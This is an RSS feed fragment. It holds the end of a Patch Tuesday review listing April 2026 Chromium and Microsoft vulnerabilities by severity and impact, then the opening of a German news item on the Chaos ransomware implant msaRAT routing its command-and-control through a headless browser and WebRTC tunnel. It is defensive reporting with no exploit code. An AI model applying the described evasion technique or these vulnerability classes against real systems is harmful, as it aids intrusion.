  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5276">CVE-2026-5276 *</a></td>
  <td>Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5277">CVE-2026-5277 *</a></td>
  <td>Chromium: CVE-2026-5277 Integer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5279">CVE-2026-5279 *</a></td>
  <td>Chromium: CVE-2026-5279 Object corruption in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5280">CVE-2026-5280 *</a></td>
  <td>Chromium: CVE-2026-5280 Use after free in WebCodecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5283">CVE-2026-5283 *</a></td>
  <td>Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5284">CVE-2026-5284 *</a></td>
  <td>Chromium: CVE-2026-5284 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5285">CVE-2026-5285 *</a></td>
  <td>Chromium: CVE-2026-5285 Use after free in WebGL</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5286">CVE-2026-5286 *</a></td>
  <td>Chromium: CVE-2026-5286 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5287">CVE-2026-5287 *</a></td>
  <td>Chromium: CVE-2026-5287 Use after free in PDF</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5289">CVE-2026-5289 *</a></td>
  <td>Chromium: CVE-2026-5289 Use after free in Navigation</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5290">CVE-2026-5290 *</a></td>
  <td>Chromium: CVE-2026-5290 Use after free in Compositing</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5860">CVE-2026-5860 *</a></td>
  <td>Chromium: CVE-2026-5860 Use after free in WebRTC</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5861">CVE-2026-5861 *</a></td>
  <td>Chromium: CVE-2026-5861 Use after free in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5862">CVE-2026-5862 *</a></td>
  <td>Chromium: CVE-2026-5862 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5863">CVE-2026-5863 *</a></td>
  <td>Chromium: CVE-2026-5863 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5864">CVE-2026-5864 *</a></td>
  <td>Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5865">CVE-2026-5865 *</a></td>
  <td>Chromium: CVE-2026-5865 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5866">CVE-2026-5866 *</a></td>
  <td>Chromium: CVE-2026-5866 Use after free in Media</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5867">CVE-2026-5867 *</a></td>
  <td>Chromium: CVE-2026-5867 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5868">CVE-2026-5868 *</a></td>
  <td>Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5869">CVE-2026-5869 *</a></td>
  <td>Chromium: CVE-2026-5869 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5870">CVE-2026-5870 *</a></td>
  <td>Chromium: CVE-2026-5870 Integer overflow in Skia</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5871">CVE-2026-5871 *</a></td>
  <td>Chromium: CVE-2026-5871 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5872">CVE-2026-5872 *</a></td>
  <td>Chromium: CVE-2026-5872 Use after free in Blink</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5873">CVE-2026-5873 *</a></td>
  <td>Chromium: CVE-2026-5873 Out of bounds read and write in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5291">CVE-2026-5291 *</a></td>
  <td>Chromium: CVE-2026-5291 Inappropriate implementation in WebGL</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5292">CVE-2026-5292 *</a></td>
  <td>Chromium: CVE-2026-5292 Out of bounds read in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5874">CVE-2026-5874 *</a></td>
  <td>Chromium: CVE-2026-5874 Use after free in PrivateAI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5875">CVE-2026-5875 *</a></td>
  <td>Chromium: CVE-2026-5875 Policy bypass in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5876">CVE-2026-5876 *</a></td>
  <td>Chromium: CVE-2026-5876 Side-channel information leakage in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5877">CVE-2026-5877 *</a></td>
  <td>Chromium: CVE-2026-5877 Use after free in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5878">CVE-2026-5878 *</a></td>
  <td>Chromium: CVE-2026-5878 Incorrect security UI in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5879">CVE-2026-5879 *</a></td>
  <td>Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5880">CVE-2026-5880 *</a></td>
  <td>Chromium: CVE-2026-5880 Incorrect security UI in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5881">CVE-2026-5881 *</a></td>
  <td>Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5882">CVE-2026-5882 *</a></td>
  <td>Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5883">CVE-2026-5883 *</a></td>
  <td>Chromium: CVE-2026-5883 Use after free in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5884">CVE-2026-5884 *</a></td>
  <td>Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5885">CVE-2026-5885 *</a></td>
  <td>Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5886">CVE-2026-5886 *</a></td>
  <td>Chromium: CVE-2026-5886 Out of bounds read in WebAudio</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5887">CVE-2026-5887 *</a></td>
  <td>Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5888">CVE-2026-5888 *</a></td>
  <td>Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5889">CVE-2026-5889 *</a></td>
  <td>Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5890">CVE-2026-5890 *</a></td>
  <td>Chromium: CVE-2026-5890 Race in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5891">CVE-2026-5891 *</a></td>
  <td>Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5892">CVE-2026-5892 *</a></td>
  <td>Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5893">CVE-2026-5893 *</a></td>
  <td>Chromium: CVE-2026-5893 Race in V8</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5894">CVE-2026-5894 *</a></td>
  <td>Chromium: CVE-2026-5894 Inappropriate implementation in PDF</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5895">CVE-2026-5895 *</a></td>
  <td>Chromium: CVE-2026-5895 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5896">CVE-2026-5896 *</a></td>
  <td>Chromium: CVE-2026-5896 Policy bypass in Audio</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5897">CVE-2026-5897 *</a></td>
  <td>Chromium: CVE-2026-5897 Incorrect security UI in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5898">CVE-2026-5898 *</a></td>
  <td>Chromium: CVE-2026-5898 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5899">CVE-2026-5899 *</a></td>
  <td>Chromium: CVE-2026-5899 Incorrect security UI in History Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5900">CVE-2026-5900 *</a></td>
  <td>Chromium: CVE-2026-5900 Policy bypass in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5901">CVE-2026-5901 *</a></td>
  <td>Chromium: CVE-2026-5901 Policy bypass in DevTools</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5902">CVE-2026-5902 *</a></td>
  <td>Chromium: CVE-2026-5902 Race in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5903">CVE-2026-5903 *</a></td>
  <td>Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5904">CVE-2026-5904 *</a></td>
  <td>Chromium: CVE-2026-5904 Use after free in V8</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5905">CVE-2026-5905 *</a></td>
  <td>Chromium: CVE-2026-5905 Incorrect security UI in Permissions</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5906">CVE-2026-5906 *</a></td>
  <td>Chromium: CVE-2026-5906 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5907">CVE-2026-5907 *</a></td>
  <td>Chromium: CVE-2026-5907 Insufficient data validation in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5908">CVE-2026-5908 *</a></td>
  <td>Chromium: CVE-2026-5908 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5909">CVE-2026-5909 *</a></td>
  <td>Chromium: CVE-2026-5909 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5910">CVE-2026-5910 *</a></td>
  <td>Chromium: CVE-2026-5910 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5911">CVE-2026-5911 *</a></td>
  <td>Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5912">CVE-2026-5912 *</a></td>
  <td>Chromium: CVE-2026-5912 Integer overflow in WebRTC</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5913">CVE-2026-5913 *</a></td>
  <td>Chromium: CVE-2026-5913 Out of bounds read in Blink</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5914">CVE-2026-5914 *</a></td>
  <td>Chromium: CVE-2026-5914 Type Confusion in CSS</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5915">CVE-2026-5915 *</a></td>
  <td>Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5918">CVE-2026-5918 *</a></td>
  <td>Chromium: CVE-2026-5918 Inappropriate implementation in Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5919">CVE-2026-5919 *</a></td>
  <td>Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33118">CVE-2026-33118</a></td>
  <td>Microsoft Edge (Chromium-based) Spoofing Vulnerability</td>
  <td>Low</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
</tbody></table>
  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.</p><p class="">Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host. </p><p class="">More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access. </p><p class="">There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.</p><p class="">The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP <a href="https://go.microsoft.com/fwlink/?linkid=2347342">notes</a> that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.</p><p class="">There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.</p><p class="">The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering. </p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
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<item>
<title><![CDATA[Chaos-Ransomware nutzt msaRAT: C2 läuft über Headless Chrome/Edge und WebRTC-Tunnel]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine neue Beobachtung zur Chaos-Ransomware zeigt, dass das eigentliche Kommando-und-Kontroll-System nicht über typische Netzwerk-Endpoints läuft, sondern über den kompromittierten Browser des Opfers. Das Rust-basierte Implant msaRAT startet Chrome oder Edge im headless Modu...]]></description>
<link>https://tsecurity.de/de/3694458/it-security-nachrichten/chaos-ransomware-nutzt-msarat-c2-laeuft-ueber-headless-chromeedge-und-webrtc-tunnel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694458/it-security-nachrichten/chaos-ransomware-nutzt-msarat-c2-laeuft-ueber-headless-chromeedge-und-webrtc-tunnel/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-chaos-msarat-headless-webrtc-c2.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" loading="lazy" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-chaos-msarat-headless-webrtc-c2.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-chaos-msarat-headless-webrtc-c2-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-chaos-msarat-headless-webrtc-c2-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-chaos-msarat-headless-webrtc-c2-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-chaos-msarat-headless-webrtc-c2-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-chaos-msarat-headless-webrtc-c2-120x120.jpg 120w" sizes="auto, (max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine neue Beobachtung zur Chaos-Ransomware zeigt, dass das eigentliche Kommando-und-Kontroll-System nicht über typische Netzwerk-Endpoints läuft, sondern über den kompromittierten Browser des Opfers. 